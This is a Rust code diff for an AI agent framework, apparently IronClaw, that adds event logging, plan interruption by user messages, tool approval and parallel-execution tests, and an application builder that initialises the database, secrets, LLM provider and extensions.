Ok(Err(e)) => { + match deps + .context_manager + .update_memory(job_id, |mem| { + let rec = mem + .create_action(tool_name, safe_params.clone()) + .fail(e.to_string(), elapsed); + mem.record_action(rec.clone()); + rec + }) + .await + { + Ok(rec) => Some(rec), + Err(e) => { + tracing::warn!(job_id = %job_id, tool = tool_name, "Failed to record action in memory: {e}"); + None + } + } + } + Err(_) => { + match deps + .context_manager + .update_memory(job_id, |mem| { + let rec = mem + .create_action(tool_name, safe_params.clone()) + .fail("Execution timeout", elapsed); + mem.record_action(rec.clone()); + rec + }) + .await + { + Ok(rec) => Some(rec), + Err(e) => { + tracing::warn!(job_id = %job_id, tool = tool_name, "Failed to record action in memory: {e}"); + None + } + } } - Ok(Err(e)) => deps - .context_manager - .update_memory(job_id, |mem| { - let rec = mem - .create_action(tool_name, params.clone()) - .fail(e.to_string(), elapsed); - mem.record_action(rec.clone()); - rec - }) - .await - .ok(), - Err(_) => deps - .context_manager - .update_memory(job_id, |mem| { - let rec = mem - .create_action(tool_name, params.clone()) - .fail("Execution timeout", elapsed); - mem.record_action(rec.clone()); - rec - }) - .await - .ok(), }; // Persist action to database (fire-and-forget) @@ -579,6 +966,15 @@ Report when the job is complete or if you encounter issues you cannot resolve."# selection: &ToolSelection, result: Result, ) -> Result { + self.log_event( + "tool_use", + serde_json::json!({ + "tool_name": selection.tool_name, + "input": crate::agent::agent_loop::truncate_for_preview( + &selection.parameters.to_string(), 500), + }), + ); + match result { Ok(output) => { // Sanitize output @@ -599,6 +995,12 @@ Report when the job is complete or if you encounter issues you cannot resolve."# wrapped, )); + self.log_event("tool_result", serde_json::json!({ + "tool_name": selection.tool_name, + "success": true, + "output": crate::agent::agent_loop::truncate_for_preview(&sanitized.content, 500), + })); + // Tool output never drives job completion. A malicious tool could // emit "TASK_COMPLETE" to force premature completion. Only the LLM's // own structured response (in execution_loop) can mark a job done. @@ -625,6 +1027,15 @@ Report when the job is complete or if you encounter issues you cannot resolve."# }); } + self.log_event( + "tool_result", + serde_json::json!({ + "tool_name": selection.tool_name, + "success": false, + "output": format!("Error: {}", e), + }), + ); + reason_ctx.messages.push(ChatMessage::tool_result( &selection.tool_call_id, &selection.tool_name, @@ -645,8 +1056,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."# plan: &ActionPlan, ) -> Result<(), Error> { for (i, action) in plan.actions.iter().enumerate() { - // Check for stop signal - if let Ok(msg) = rx.try_recv() { + // Check for stop signal and injected user messages + while let Ok(msg) = rx.try_recv() { match msg { WorkerMessage::Stop => { tracing::debug!( @@ -659,6 +1070,29 @@ Report when the job is complete or if you encounter issues you cannot resolve."# tracing::trace!("Worker for job {} received ping", self.job_id); } WorkerMessage::Start => {} + WorkerMessage::UserMessage(content) => { + tracing::info!( + job_id = %self.job_id, + "User message received during plan execution, abandoning plan" + ); + reason_ctx.messages.push(ChatMessage::user(&content)); + self.log_event( + "message", + serde_json::json!({ + "role": "user", + "content": content, + }), + ); + self.log_event( + "status", + serde_json::json!({ + "message": "Plan interrupted by user message, re-evaluating...", + }), + ); + // Return Ok to break out of plan; caller falls through to + // the direct selection loop for LLM re-evaluation. + return Ok(()); + } } } @@ -671,11 +1105,6 @@ Report when the job is complete or if you encounter issues you cannot resolve."# action.reasoning ); - // Execute the planned tool - let result = self - .execute_tool(&action.tool_name, &action.parameters) - .await; - // Create a synthetic ToolSelection for process_tool_result. // Plan actions don't originate from an LLM tool_call response so // there is no real tool_call_id; generate a unique one. @@ -687,6 +1116,24 @@ Report when the job is complete or if you encounter issues you cannot resolve."# tool_call_id: format!("plan_{}_{}", self.job_id, i), }; + // Record the assistant tool_calls message so that the tool_result + // has a matching parent (prevents orphaned rewrites). + reason_ctx + .messages + .push(ChatMessage::assistant_with_tool_calls( + None, + vec![ToolCall { + id: selection.tool_call_id.clone(), + name: selection.tool_name.clone(), + arguments: selection.parameters.clone(), + }], + )); + + // Execute the planned tool + let result = self + .execute_tool(&action.tool_name, &action.parameters) + .await; + // Process the result let completed = self .process_tool_result(reason_ctx, &selection, result) @@ -711,14 +1158,18 @@ Report when the job is complete or if you encounter issues you cannot resolve."# if crate::util::llm_signals_completion(&response) { self.mark_completed().await?; } else { - // Job not complete, could re-plan or fall back to direct selection + // Job not complete — return Ok without marking terminal so the + // caller falls through to the direct selection loop for continuation. tracing::info!( "Job {} plan completed but work remains, falling back to direct selection", self.job_id ); - // Continue with standard execution loop by returning (will be picked up by main loop) - self.mark_stuck("Plan completed but job incomplete - needs re-planning") - .await?; + self.log_event( + "status", + serde_json::json!({ + "message": "Plan completed but job needs more work, continuing...", + }), + ); } Ok(()) @@ -746,6 +1197,14 @@ Report when the job is complete or if you encounter issues you cannot resolve."# reason: s, })?; + self.log_event( + "result", + serde_json::json!({ + "status": "completed", + "success": true, + "message": "Job completed successfully", + }), + ); self.persist_status( JobState::Completed, Some("Job completed successfully".to_string()), @@ -764,6 +1223,14 @@ Report when the job is complete or if you encounter issues you cannot resolve."# reason: s, })?; + self.log_event( + "result", + serde_json::json!({ + "status": "failed", + "success": false, + "message": format!("Execution failed: {}", reason), + }), + ); self.persist_status(JobState::Failed, Some(reason.to_string())); Ok(()) } @@ -777,6 +1244,14 @@ Report when the job is complete or if you encounter issues you cannot resolve."# reason: s, })?; + self.log_event( + "result", + serde_json::json!({ + "status": "stuck", + "success": false, + "message": format!("Job stuck: {}", reason), + }), + ); self.persist_status(JobState::Stuck, Some(reason.to_string())); Ok(()) } @@ -800,6 +1275,105 @@ mod tests { use crate::llm::ToolSelection; use crate::util::llm_signals_completion; + use super::*; + use crate::config::SafetyConfig; + use crate::context::JobContext; + use crate::llm::{ + CompletionRequest, CompletionResponse, LlmProvider, ToolCompletionRequest, + ToolCompletionResponse, + }; + use crate::safety::SafetyLayer; + use crate::tools::{Tool, ToolError, ToolOutput}; + + /// A test tool that sleeps for a configurable duration before returning. + struct SlowTool { + tool_name: String, + delay: Duration, + } + + #[async_trait::async_trait] + impl Tool for SlowTool { + fn name(&self) -> &str { + &self.tool_name + } + fn description(&self) -> &str { + "Test tool with configurable delay" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &JobContext, + ) -> Result { + let start = std::time::Instant::now(); + tokio::time::sleep(self.delay).await; + Ok(ToolOutput::text( + format!("done_{}", self.tool_name), + start.elapsed(), + )) + } + fn requires_sanitization(&self) -> bool { + false + } + } + + /// Stub LLM provider (never called in these tests). + struct StubLlm; + + #[async_trait::async_trait] + impl LlmProvider for StubLlm { + fn model_name(&self) -> &str { + "stub" + } + fn cost_per_token(&self) -> (rust_decimal::Decimal, rust_decimal::Decimal) { + (rust_decimal::Decimal::ZERO, rust_decimal::Decimal::ZERO) + } + async fn complete( + &self, + _req: CompletionRequest, + ) -> Result { + unimplemented!("stub") + } + async fn complete_with_tools( + &self, + _req: ToolCompletionRequest, + ) -> Result { + unimplemented!("stub") + } + } + + /// Build a Worker wired to a ToolRegistry containing the given tools. + async fn make_worker(tools: Vec>) -> Worker { + let registry = ToolRegistry::new(); + for t in tools { + registry.register(t).await; + } + + let cm = Arc::new(crate::context::ContextManager::new(5)); + let job_id = cm.create_job("test", "test job").await.unwrap(); + + let deps = WorkerDeps { + context_manager: cm, + llm: Arc::new(StubLlm), + safety: Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + })), + tools: Arc::new(registry), + store: None, + hooks: Arc::new(crate::hooks::HookRegistry::new()), + timeout: Duration::from_secs(30), + use_planning: false, + sse_tx: None, + approval_context: None, + http_interceptor: None, + }; + + Worker::new(job_id, deps) + } + #[test] fn test_tool_selection_preserves_call_id() { let selection = ToolSelection { @@ -876,4 +1450,316 @@ mod tests { "The tool returned: TASK_COMPLETE signal" )); } + + #[tokio::test] + async fn test_parallel_speedup() { + // 3 tools each sleeping 200ms should finish in roughly 200ms (parallel), + // not ~600ms (sequential). + let tools: Vec> = (0..3) + .map(|i| { + Arc::new(SlowTool { + tool_name: format!("slow_{}", i), + delay: Duration::from_millis(200), + }) as Arc + }) + .collect(); + + let worker = make_worker(tools).await; + + let selections: Vec = (0..3) + .map(|i| ToolSelection { + tool_name: format!("slow_{}", i), + parameters: serde_json::json!({}), + reasoning: String::new(), + alternatives: vec![], + tool_call_id: format!("call_{}", i), + }) + .collect(); + + let start = std::time::Instant::now(); + let results = worker.execute_tools_parallel(&selections).await; + let elapsed = start.elapsed(); + + assert_eq!(results.len(), 3); + for r in &results { + assert!(r.result.is_ok(), "Tool should succeed"); + } + // Parallel should complete well under the sequential 600ms threshold. + // Use a generous bound (800ms) to avoid flaky failures on slow CI runners, + // while still proving parallelism (sequential would be >= 600ms on any machine). + assert!( + elapsed < Duration::from_millis(800), + "Parallel execution took {:?}, expected < 800ms (sequential would be ~600ms)", + elapsed + ); + } + + #[tokio::test] + async fn test_result_ordering_preserved() { + // Tools with different delays finish in different order. + // Results must be returned in the original request order. + let tools: Vec> = vec![ + Arc::new(SlowTool { + tool_name: "tool_a".into(), + delay: Duration::from_millis(300), + }), + Arc::new(SlowTool { + tool_name: "tool_b".into(), + delay: Duration::from_millis(100), + }), + Arc::new(SlowTool { + tool_name: "tool_c".into(), + delay: Duration::from_millis(200), + }), + ]; + + let worker = make_worker(tools).await; + + let selections = vec![ + ToolSelection { + tool_name: "tool_a".into(), + parameters: serde_json::json!({}), + reasoning: String::new(), + alternatives: vec![], + tool_call_id: "call_a".into(), + }, + ToolSelection { + tool_name: "tool_b".into(), + parameters: serde_json::json!({}), + reasoning: String::new(), + alternatives: vec![], + tool_call_id: "call_b".into(), + }, + ToolSelection { + tool_name: "tool_c".into(), + parameters: serde_json::json!({}), + reasoning: String::new(), + alternatives: vec![], + tool_call_id: "call_c".into(), + }, + ]; + + let results = worker.execute_tools_parallel(&selections).await; + + // Results must be in same order as selections, not completion order. + assert!(results[0].result.as_ref().unwrap().contains("done_tool_a")); + assert!(results[1].result.as_ref().unwrap().contains("done_tool_b")); + assert!(results[2].result.as_ref().unwrap().contains("done_tool_c")); + } + + #[tokio::test] + async fn test_missing_tool_produces_error_not_panic() { + // If a tool doesn't exist, the result slot should contain an error. + let worker = make_worker(vec![]).await; + + let selections = vec![ToolSelection { + tool_name: "nonexistent_tool".into(), + parameters: serde_json::json!({}), + reasoning: String::new(), + alternatives: vec![], + tool_call_id: "call_x".into(), + }]; + + let results = worker.execute_tools_parallel(&selections).await; + assert_eq!(results.len(), 1); + assert!( + results[0].result.is_err(), + "Missing tool should produce an error, not a panic" + ); + } + + /// Verify that calling mark_completed on an already-Completed job returns + /// an error (Completed → Completed is an invalid state transition). + #[tokio::test] + async fn test_mark_completed_twice_returns_error() { + let worker = make_worker(vec![]).await; + + // Transition to InProgress first (required by state machine) + worker + .context_manager() + .update_context(worker.job_id, |ctx| { + ctx.transition_to(JobState::InProgress, None) + }) + .await + .unwrap() + .unwrap(); + + // First mark_completed should succeed + worker.mark_completed().await.unwrap(); + + // Verify state is Completed + let ctx = worker + .context_manager() + .get_context(worker.job_id) + .await + .unwrap(); + assert_eq!(ctx.state, JobState::Completed); + + // Second mark_completed should fail (Completed → Completed is invalid) + let result = worker.mark_completed().await; + assert!( + result.is_err(), + "Completed → Completed transition should be rejected by state machine" + ); + } + + /// Build a Worker with the given approval context. + async fn make_worker_with_approval( + tools: Vec>, + approval_context: Option, + ) -> Worker { + let registry = ToolRegistry::new(); + for t in tools { + registry.register(t).await; + } + + let cm = Arc::new(crate::context::ContextManager::new(5)); + let job_id = cm.create_job("test", "test job").await.unwrap(); + + let deps = WorkerDeps { + context_manager: cm, + llm: Arc::new(StubLlm), + safety: Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + })), + tools: Arc::new(registry), + store: None, + hooks: Arc::new(crate::hooks::HookRegistry::new()), + timeout: Duration::from_secs(30), + use_planning: false, + sse_tx: None, + approval_context, + http_interceptor: None, + }; + + Worker::new(job_id, deps) + } + + /// A tool that requires approval (UnlessAutoApproved). + struct ApprovalTool; + + #[async_trait::async_trait] + impl Tool for ApprovalTool { + fn name(&self) -> &str { + "needs_approval" + } + fn description(&self) -> &str { + "Tool requiring approval" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &crate::context::JobContext, + ) -> Result { + Ok(ToolOutput::text( + "approved", + std::time::Instant::now().elapsed(), + )) + } + fn requires_approval( + &self, + _params: &serde_json::Value, + ) -> crate::tools::ApprovalRequirement { + crate::tools::ApprovalRequirement::UnlessAutoApproved + } + fn requires_sanitization(&self) -> bool { + false + } + } + + /// A tool that always requires approval. + struct AlwaysApprovalTool; + + #[async_trait::async_trait] + impl Tool for AlwaysApprovalTool { + fn name(&self) -> &str { + "always_approval" + } + fn description(&self) -> &str { + "Tool always requiring approval" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &crate::context::JobContext, + ) -> Result { + Ok(ToolOutput::text( + "always", + std::time::Instant::now().elapsed(), + )) + } + fn requires_approval( + &self, + _params: &serde_json::Value, + ) -> crate::tools::ApprovalRequirement { + crate::tools::ApprovalRequirement::Always + } + fn requires_sanitization(&self) -> bool { + false + } + } + + #[tokio::test] + async fn test_approval_context_unblocks_unless_auto_approved() { + // Without approval context, UnlessAutoApproved is blocked + let worker_blocked = make_worker_with_approval(vec![Arc::new(ApprovalTool)], None).await; + let result = worker_blocked + .execute_tool("needs_approval", &serde_json::json!({})) + .await; + assert!( + result.is_err(), + "Should be blocked without approval context" + ); + + // With autonomous approval context, UnlessAutoApproved is allowed + let worker_allowed = make_worker_with_approval( + vec![Arc::new(ApprovalTool)], + Some(crate::tools::ApprovalContext::autonomous()), + ) + .await; + let result = worker_allowed + .execute_tool("needs_approval", &serde_json::json!({})) + .await; + assert!(result.is_ok(), "Should be allowed with autonomous context"); + } + + #[tokio::test] + async fn test_approval_context_blocks_always_unless_permitted() { + // Autonomous context without tool_permissions blocks Always tools + let worker_blocked = make_worker_with_approval( + vec![Arc::new(AlwaysApprovalTool)], + Some(crate::tools::ApprovalContext::autonomous()), + ) + .await; + let result = worker_blocked + .execute_tool("always_approval", &serde_json::json!({})) + .await; + assert!( + result.is_err(), + "Always tool should be blocked without permission" + ); + + // Autonomous context with tool_permissions allows Always tools + let worker_allowed = make_worker_with_approval( + vec![Arc::new(AlwaysApprovalTool)], + Some(crate::tools::ApprovalContext::autonomous_with_tools([ + "always_approval".to_string(), + ])), + ) + .await; + let result = worker_allowed + .execute_tool("always_approval", &serde_json::json!({})) + .await; + assert!( + result.is_ok(), + "Always tool should be allowed with permission" + ); + } } diff --git a/src/app.rs b/src/app.rs new file mode 100644 index 00000000..a2acd9c0 --- /dev/null +++ b/src/app.rs @@ -0,0 +1,854 @@ +//! Application builder for initializing core IronClaw components. +//! +//! Extracts the mechanical initialization phases from `main.rs` into a +//! reusable builder so that: +//! +//! - Tests can construct a full `AppComponents` without wiring channels +//! - Main stays focused on CLI dispatch and channel setup +//! - Each init phase is independently testable + +use std::sync::Arc; + +use crate::channels::web::log_layer::LogBroadcaster; +use crate::config::Config; +use crate::context::ContextManager; +use crate::db::Database; +use crate::extensions::ExtensionManager; +use crate::hooks::HookRegistry; +use crate::llm::{LlmProvider, RecordingLlm, SessionManager}; +use crate::safety::SafetyLayer; +use crate::secrets::SecretsStore; +use crate::skills::SkillRegistry; +use crate::skills::catalog::SkillCatalog; +use crate::tools::ToolRegistry; +use crate::tools::mcp::McpSessionManager; +use crate::tools::wasm::SharedCredentialRegistry; +use crate::tools::wasm::WasmToolRuntime; +use crate::workspace::{EmbeddingProvider, Workspace}; + +/// Fully initialized application components, ready for channel wiring +/// and agent construction. +pub struct AppComponents { + /// The (potentially mutated) config after DB reload and secret injection. + pub config: Config, + pub db: Option>, + pub secrets_store: Option>, + pub llm: Arc, + pub cheap_llm: Option>, + pub safety: Arc, + pub tools: Arc, + pub embeddings: Option>, + pub workspace: Option>, + pub extension_manager: Option>, + pub mcp_session_manager: Arc, + pub wasm_tool_runtime: Option>, + pub log_broadcaster: Arc, + pub context_manager: Arc, + pub hooks: Arc, + pub skill_registry: Option>>, + pub skill_catalog: Option>, + pub cost_guard: Arc, + pub recording_handle: Option>, + pub session: Arc, + pub catalog_entries: Vec, + pub dev_loaded_tool_names: Vec, +} + +/// Options that control optional init phases. +#[derive(Default)] +pub struct AppBuilderFlags { + pub no_db: bool, +} + +/// Builder that orchestrates the 5 mechanical init phases. +pub struct AppBuilder { + config: Config, + flags: AppBuilderFlags, + toml_path: Option, + session: Arc, + log_broadcaster: Arc, + + // Accumulated state + db: Option>, + secrets_store: Option>, + + // Test overrides + llm_override: Option>, + + // Backend-specific handles needed by secrets store + #[cfg(feature = "postgres")] + pg_pool: Option, + #[cfg(feature = "libsql")] + libsql_db: Option>, +} + +impl AppBuilder { + /// Create a new builder. + /// + /// The `session` and `log_broadcaster` are created before the builder + /// because tracing must be initialized before any init phase runs, + /// and the log broadcaster is part of the tracing layer. + pub fn new( + config: Config, + flags: AppBuilderFlags, + toml_path: Option, + session: Arc, + log_broadcaster: Arc, + ) -> Self { + Self { + config, + flags, + toml_path, + session, + log_broadcaster, + db: None, + secrets_store: None, + llm_override: None, + #[cfg(feature = "postgres")] + pg_pool: None, + #[cfg(feature = "libsql")] + libsql_db: None, + } + } + + /// Inject a pre-created database, skipping `init_database()`. + pub fn with_database(&mut self, db: Arc) { + self.db = Some(db); + } + + /// Inject a pre-created LLM provider, skipping `init_llm()`. + pub fn with_llm(&mut self, llm: Arc) { + self.llm_override = Some(llm); + } + + /// Phase 1: Initialize database backend. + /// + /// Creates the database connection, runs migrations, reloads config + /// from DB, attaches DB to session manager, and cleans up stale jobs. + pub async fn init_database(&mut self) -> Result<(), anyhow::Error> { + if self.db.is_some() { + tracing::debug!("Database already provided, skipping init_database()"); + return Ok(()); + } + + if self.flags.no_db { + tracing::warn!("Running without database connection"); + return Ok(()); + } + + let db: Arc = match self.config.database.backend { + #[cfg(feature = "libsql")] + crate::config::DatabaseBackend::LibSql => { + use crate::db::Database as _; + use crate::db::libsql::LibSqlBackend; + use secrecy::ExposeSecret as _; + + let default_path = crate::config::default_libsql_path(); + let db_path = self + .config + .database + .libsql_path + .as_deref() + .unwrap_or(&default_path); + + let backend = if let Some(ref url) = self.config.database.libsql_url { + let token = + self.config + .database + .libsql_auth_token + .as_ref() + .ok_or_else(|| { + anyhow::anyhow!( + "LIBSQL_AUTH_TOKEN is required when LIBSQL_URL is set" + ) + })?; + LibSqlBackend::new_remote_replica(db_path, url, token.expose_secret()).await? + } else { + LibSqlBackend::new_local(db_path).await? + }; + backend.run_migrations().await?; + tracing::info!("libSQL database connected and migrations applied"); + + #[cfg(feature = "libsql")] + { + self.libsql_db = Some(backend.shared_db()); + } + + Arc::new(backend) as Arc + } + #[cfg(feature = "postgres")] + _ => { + use crate::db::Database as _; + let pg = crate::db::postgres::PgBackend::new(&self.config.database) + .await + .map_err(|e| anyhow::anyhow!("{}", e))?; + pg.run_migrations() + .await + .map_err(|e| anyhow::anyhow!("{}", e))?; + tracing::info!("PostgreSQL database connected and migrations applied"); + + #[cfg(feature = "postgres")] + { + self.pg_pool = Some(pg.pool()); + } + + Arc::new(pg) as Arc + } + #[cfg(not(feature = "postgres"))] + _ => { + anyhow::bail!( + "No database backend available. Enable 'postgres' or 'libsql' feature." + ); + } + }; + + // Post-init: migrate disk config, reload config from DB, attach session, cleanup + if let Err(e) = crate::bootstrap::migrate_disk_to_db(db.as_ref(), "default").await { + tracing::warn!("Disk-to-DB settings migration failed: {}", e); + } + + let toml_path = self.toml_path.as_deref(); + match Config::from_db_with_toml(db.as_ref(), "default", toml_path).await { + Ok(db_config) => { + self.config = db_config; + tracing::info!("Configuration reloaded from database"); + } + Err(e) => { + tracing::warn!( + "Failed to reload config from DB, keeping env-based config: {}", + e + ); + } + } + + self.session.attach_store(db.clone(), "default").await; + + // Fire-and-forget housekeeping — no need to block startup. + let db_cleanup = db.clone(); + tokio::spawn(async move { + if let Err(e) = db_cleanup.cleanup_stale_sandbox_jobs().await { + tracing::warn!("Failed to cleanup stale sandbox jobs: {}", e); + } + }); + + self.db = Some(db); + Ok(()) + } + + /// Phase 2: Create secrets store. + /// + /// Requires a master key and a backend-specific DB handle. After creating + /// the store, injects any encrypted LLM API keys into the config overlay + /// and re-resolves config. + pub async fn init_secrets(&mut self) -> Result<(), anyhow::Error> { + let master_key = match self.config.secrets.master_key() { + Some(k) => k, + None => { + // No secrets DB available, but we can still load tokens from + // OS credential stores (e.g., Anthropic OAuth via Claude Code's + // macOS Keychain / Linux ~/.claude/.credentials.json). + crate::config::inject_os_credentials(); + + // Consume unused handles + #[cfg(feature = "libsql")] + { + self.libsql_db.take(); + } + + // Re-resolve config with OS credentials + if let Some(ref db) = self.db { + let toml_path = self.toml_path.as_deref(); + if let Ok(refreshed) = + Config::from_db_with_toml(db.as_ref(), "default", toml_path).await + { + self.config = refreshed; + tracing::debug!("LlmConfig re-resolved after OS credential injection"); + } + } + + return Ok(()); + } + }; + + let crypto = match crate::secrets::SecretsCrypto::new(master_key.clone()) { + Ok(c) => Arc::new(c), + Err(e) => { + tracing::warn!("Failed to initialize secrets crypto: {}", e); + #[cfg(feature = "libsql")] + { + self.libsql_db.take(); + } + return Ok(()); + } + }; + + let store: Option> = None; + + #[cfg(feature = "libsql")] + let store = store.or_else(|| { + self.libsql_db.take().map(|db| { + Arc::new(crate::secrets::LibSqlSecretsStore::new( + db, + Arc::clone(&crypto), + )) as Arc + }) + }); + + #[cfg(feature = "postgres")] + let store = store.or_else(|| { + self.pg_pool.as_ref().map(|pool| { + Arc::new(crate::secrets::PostgresSecretsStore::new( + pool.clone(), + Arc::clone(&crypto), + )) as Arc + }) + }); + + if let Some(ref secrets) = store { + // Inject LLM API keys from encrypted storage + crate::config::inject_llm_keys_from_secrets(secrets.as_ref(), "default").await; + + // Re-resolve config with newly available keys + if let Some(ref db) = self.db { + let toml_path = self.toml_path.as_deref(); + match Config::from_db_with_toml(db.as_ref(), "default", toml_path).await { + Ok(refreshed) => { + self.config = refreshed; + tracing::debug!("LlmConfig re-resolved after secret injection"); + } + Err(e) => { + tracing::warn!("Failed to re-resolve config after secret injection: {}", e); + } + } + } + } + + self.secrets_store = store; + Ok(()) + } + + /// Phase 3: Initialize LLM provider chain. + /// + /// Delegates to `build_provider_chain` which applies all decorators + /// (retry, smart routing, failover, circuit breaker, response cache). + #[allow(clippy::type_complexity)] + pub fn init_llm( + &self, + ) -> Result< + ( + Arc, + Option>, + Option>, + ), + anyhow::Error, + > { + let (llm, cheap_llm, recording_handle) = + crate::llm::build_provider_chain(&self.config.llm, self.session.clone())?; + Ok((llm, cheap_llm, recording_handle)) + } + + /// Phase 4: Initialize safety, tools, embeddings, and workspace. + pub async fn init_tools( + &self, + llm: &Arc, + ) -> Result< + ( + Arc, + Arc, + Option>, + Option>, + ), + anyhow::Error, + > { + let safety = Arc::new(SafetyLayer::new(&self.config.safety)); + tracing::info!("Safety layer initialized"); + + // Initialize tool registry with credential injection support + let credential_registry = Arc::new(SharedCredentialRegistry::new()); + let tools = if let Some(ref ss) = self.secrets_store { + Arc::new( + ToolRegistry::new() + .with_credentials(Arc::clone(&credential_registry), Arc::clone(ss)), + ) + } else { + Arc::new(ToolRegistry::new()) + }; + tools.register_builtin_tools(); + + if let Some(ref ss) = self.secrets_store { + tools.register_secrets_tools(Arc::clone(ss)); + } + + // Create embeddings provider using the unified method + let embeddings = self + .config + .embeddings + .create_provider(&self.config.llm.nearai.base_url, self.session.clone()); + + // Create optional external vector store for workspace semantic search + let vector_store: Option> = { + #[cfg(feature = "lancedb")] + { + if self.config.database.vector_backend == crate::config::VectorBackend::LanceDb { + let path = self + .config + .database + .lancedb_path + .clone() + .unwrap_or_else(crate::config::default_lancedb_path); + match crate::workspace::LanceDbVectorStore::new(path).await { + Ok(store) => { + tracing::info!("LanceDB vector store connected for workspace search"); + Some(Arc::new(store) as Arc) + } + Err(e) => { + tracing::warn!("Failed to initialize LanceDB: {}", e); + None + } + } + } else { + None + } + } + #[cfg(not(feature = "lancedb"))] + { + if self.config.database.vector_backend == crate::config::VectorBackend::LanceDb { + tracing::warn!( + "VECTOR_BACKEND=lancedb but 'lancedb' feature not enabled; \ + falling back to built-in vector search" + ); + } + None + } + }; + + // Register memory tools if database is available + let workspace = if let Some(ref db) = self.db { + let mut ws = Workspace::new_with_db("default", db.clone()); + if let Some(ref emb) = embeddings { + ws = ws.with_embeddings(emb.clone()); + } + if let Some(ref vs) = vector_store { + ws = ws.with_vector_store(vs.clone()); + } + let ws = Arc::new(ws); + tools.register_memory_tools(Arc::clone(&ws)); + Some(ws) + } else { + None + }; + + // Register builder tool if enabled + if self.config.builder.enabled + && (self.config.agent.allow_local_tools || !self.config.sandbox.enabled) + { + tools + .register_builder_tool(llm.clone(), Some(self.config.builder.to_builder_config())) + .await; + tracing::info!("Builder mode enabled"); + } + + Ok((safety, tools, embeddings, workspace)) + } + + /// Phase 5: Load WASM tools, MCP servers, and create extension manager. + pub async fn init_extensions( + &self, + tools: &Arc, + hooks: &Arc, + ) -> Result< + ( + Arc, + Option>, + Option>, + Vec, + Vec, + ), + anyhow::Error, + > { + use crate::tools::mcp::{McpClient, config::load_mcp_servers_from_db, is_authenticated}; + use crate::tools::wasm::{WasmToolLoader, load_dev_tools}; + + let mcp_session_manager = Arc::new(McpSessionManager::new()); + + // Create WASM tool runtime eagerly so extensions installed after startup + // (e.g. via the web UI) can still be activated. The tools directory is only + // needed when loading modules, not for engine initialisation. + let wasm_tool_runtime: Option> = if self.config.wasm.enabled { + WasmToolRuntime::new(self.config.wasm.to_runtime_config()) + .map(Arc::new) + .map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e)) + .ok() + } else { + None + }; + + // Load WASM tools and MCP servers concurrently + let wasm_tools_future = { + let wasm_tool_runtime = wasm_tool_runtime.clone(); + let secrets_store = self.secrets_store.clone(); + let tools = Arc::clone(tools); + let wasm_config = self.config.wasm.clone(); + async move { + let mut dev_loaded_tool_names: Vec = Vec::new(); + + if let Some(ref runtime) = wasm_tool_runtime { + let mut loader = WasmToolLoader::new(Arc::clone(runtime), Arc::clone(&tools)); + if let Some(ref secrets) = secrets_store { + loader = loader.with_secrets_store(Arc::clone(secrets)); + } + + match loader.load_from_dir(&wasm_config.tools_dir).await { + Ok(results) => { + if !results.loaded.is_empty() { + tracing::info!( + "Loaded {} WASM tools from {}", + results.loaded.len(), + wasm_config.tools_dir.display() + ); + } + for (path, err) in &results.errors { + tracing::warn!( + "Failed to load WASM tool {}: {}", + path.display(), + err + ); + } + } + Err(e) => { + tracing::warn!("Failed to scan WASM tools directory: {}", e); + } + } + + match load_dev_tools(&loader, &wasm_config.tools_dir).await { + Ok(results) => { + dev_loaded_tool_names.extend(results.loaded.iter().cloned()); + if !dev_loaded_tool_names.is_empty() { + tracing::info!( + "Loaded {} dev WASM tools from build artifacts", + dev_loaded_tool_names.len() + ); + } + } + Err(e) => { + tracing::debug!("No dev WASM tools found: {}", e); + } + } + } + + dev_loaded_tool_names + } + }; + + let mcp_servers_future = { + let secrets_store = self.secrets_store.clone(); + let db = self.db.clone(); + let tools = Arc::clone(tools); + let mcp_sm = Arc::clone(&mcp_session_manager); + async move { + if let Some(ref secrets) = secrets_store { + let servers_result = if let Some(ref d) = db { + load_mcp_servers_from_db(d.as_ref(), "default").await + } else { + crate::tools::mcp::config::load_mcp_servers().await + }; + match servers_result { + Ok(servers) => { + let enabled: Vec<_> = servers.enabled_servers().cloned().collect(); + if !enabled.is_empty() { + tracing::info!( + "Loading {} configured MCP server(s)...", + enabled.len() + ); + } + + let mut join_set = tokio::task::JoinSet::new(); + for server in enabled { + let mcp_sm = Arc::clone(&mcp_sm); + let secrets = Arc::clone(secrets); + let tools = Arc::clone(&tools); + + join_set.spawn(async move { + let server_name = server.name.clone(); + let has_tokens = + is_authenticated(&server, &secrets, "default").await; + + let client = if has_tokens || server.requires_auth() { + McpClient::new_authenticated( + server, mcp_sm, secrets, "default", + ) + } else { + McpClient::new_with_name(&server_name, &server.url) + }; + + match client.list_tools().await { + Ok(mcp_tools) => { + let tool_count = mcp_tools.len(); + match client.create_tools().await { + Ok(tool_impls) => { + for tool in tool_impls { + tools.register(tool).await; + } + tracing::info!( + "Loaded {} tools from MCP server '{}'", + tool_count, + server_name + ); + } + Err(e) => { + tracing::warn!( + "Failed to create tools from MCP server '{}': {}", + server_name, + e + ); + } + } + } + Err(e) => { + let err_str = e.to_string(); + if err_str.contains("401") + || err_str.contains("authentication") + { + tracing::warn!( + "MCP server '{}' requires authentication. \ + Run: ironclaw mcp auth {}", + server_name, + server_name + ); + } else { + tracing::warn!( + "Failed to connect to MCP server '{}': {}", + server_name, + e + ); + } + } + } + }); + } + + while let Some(result) = join_set.join_next().await { + if let Err(e) = result { + tracing::warn!("MCP server loading task panicked: {}", e); + } + } + } + Err(e) => { + tracing::debug!("No MCP servers configured ({})", e); + } + } + } + } + }; + + let (dev_loaded_tool_names, _) = tokio::join!(wasm_tools_future, mcp_servers_future); + + // Load registry catalog entries for extension discovery + let catalog_entries = match crate::registry::RegistryCatalog::load_or_embedded() { + Ok(catalog) => { + let entries: Vec<_> = catalog + .all() + .iter() + .map(|m| m.to_registry_entry()) + .collect(); + tracing::info!( + count = entries.len(), + "Loaded registry catalog entries for extension discovery" + ); + entries + } + Err(e) => { + tracing::warn!("Failed to load registry catalog: {}", e); + Vec::new() + } + 